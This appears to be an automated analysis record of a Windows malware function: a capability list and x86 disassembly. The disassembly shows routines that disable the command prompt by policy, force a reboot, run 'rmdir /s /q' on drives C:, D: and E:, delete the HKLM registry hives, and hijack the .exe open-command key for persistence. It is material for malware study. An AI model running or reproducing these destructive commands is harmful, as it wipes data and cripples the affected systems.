Function at 0x10004150
Capabilities:
Disable system features via registry on windows
Execute command
Persist via default file association registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
movzx eax, byte [eax + 4]
sub esp, 0x14
cmp eax, 4
ja case.default.0x10004166
push ebx
push esi
push edi
jmp dword [eax*4 + 0x100043a8]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 4]
push ecx
push 0xf003f
xor ebx, ebx
push ebx
push str.SOFTWAREPoliciesMicrosoftWindowsSystem
push getpeername
mov dword [ebp - 0x10], 4
mov dword [ebp - 8], ebx
call esi
mov eax, dword [ebp - 4]
push 4
lea edx, [ebp - 0xc]
push edx
push 4
push ebx
push str.DisableCMD
push eax
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call edi
lea edx, [ebp - 4]
push edx
push 0x20019
push ebx
push str.SOFTWAREPoliciesMicrosoftWindowsSystem
push getpeername
call esi
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x10]
push edx
push ebx
push str.DisableCMD
jmp 0x10004390
push str.shutdown__r__t_0
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.MSVCR100.dll_system]
push str.mrdir__s__q_C:__
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0x2710
call edi
push str.mrdir__s__q_D:__
call esi
add esp, 4
push 0x2710
call edi
push str.mrdir__s__q_E:__
call esi
add esp, 4
push 0x2710
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.MSVCR100.dll_system]
push str.REG_DELETE_HKLMHARDWARE__f
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0x2710
call edi
push str.REG_DELETE_HKLMSAM__f
call esi
add esp, 4
push 0x2710
call edi
push str.REG_DELETE_HKLMSECURITY__f
call esi
add esp, 4
push 0x2710
call edi
push str.REG_DELETE_HKLMSOFTWARE__f
call esi
add esp, 4
push 0x2710
call edi
push str.REG_DELETE_HKLMSYSTEM__f
call esi
add esp, 4
push 0x2710
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [ebp - 4]
push edx
push 0xf003f
push 0
push str.exefile_shellopencommand
push closesocket
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0
call esi
mov eax, dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 1
push 0x100156c0
push 1
push 0
push 0
push eax
call ebx
mov ecx, dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call edi
lea edx, [ebp - 4]
push edx
push 0x20019
push 0
push str.exefile_shellopencommand
push closesocket
call esi
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0xc]
push edx
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 4]
push ecx
call edi
lea edx, [ebp - 4]
push edx
push 0xf003f
push 0
push str.exefile_shellopencommand
push closesocket
call esi
mov eax, dword [ebp - 4]
push 1
push 0x100156c0
push 1
push 0
push str.IsolatedCommand
push eax
call ebx
mov ecx, dword [ebp - 4]
push ecx
call edi
lea edx, [ebp - 4]
push edx
push 0x20019
push 0
push str.exefile_shellopencommand
push closesocket
call esi
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0xc]
push edx
push 0
push str.IsolatedCommand
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 4]
push ecx
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret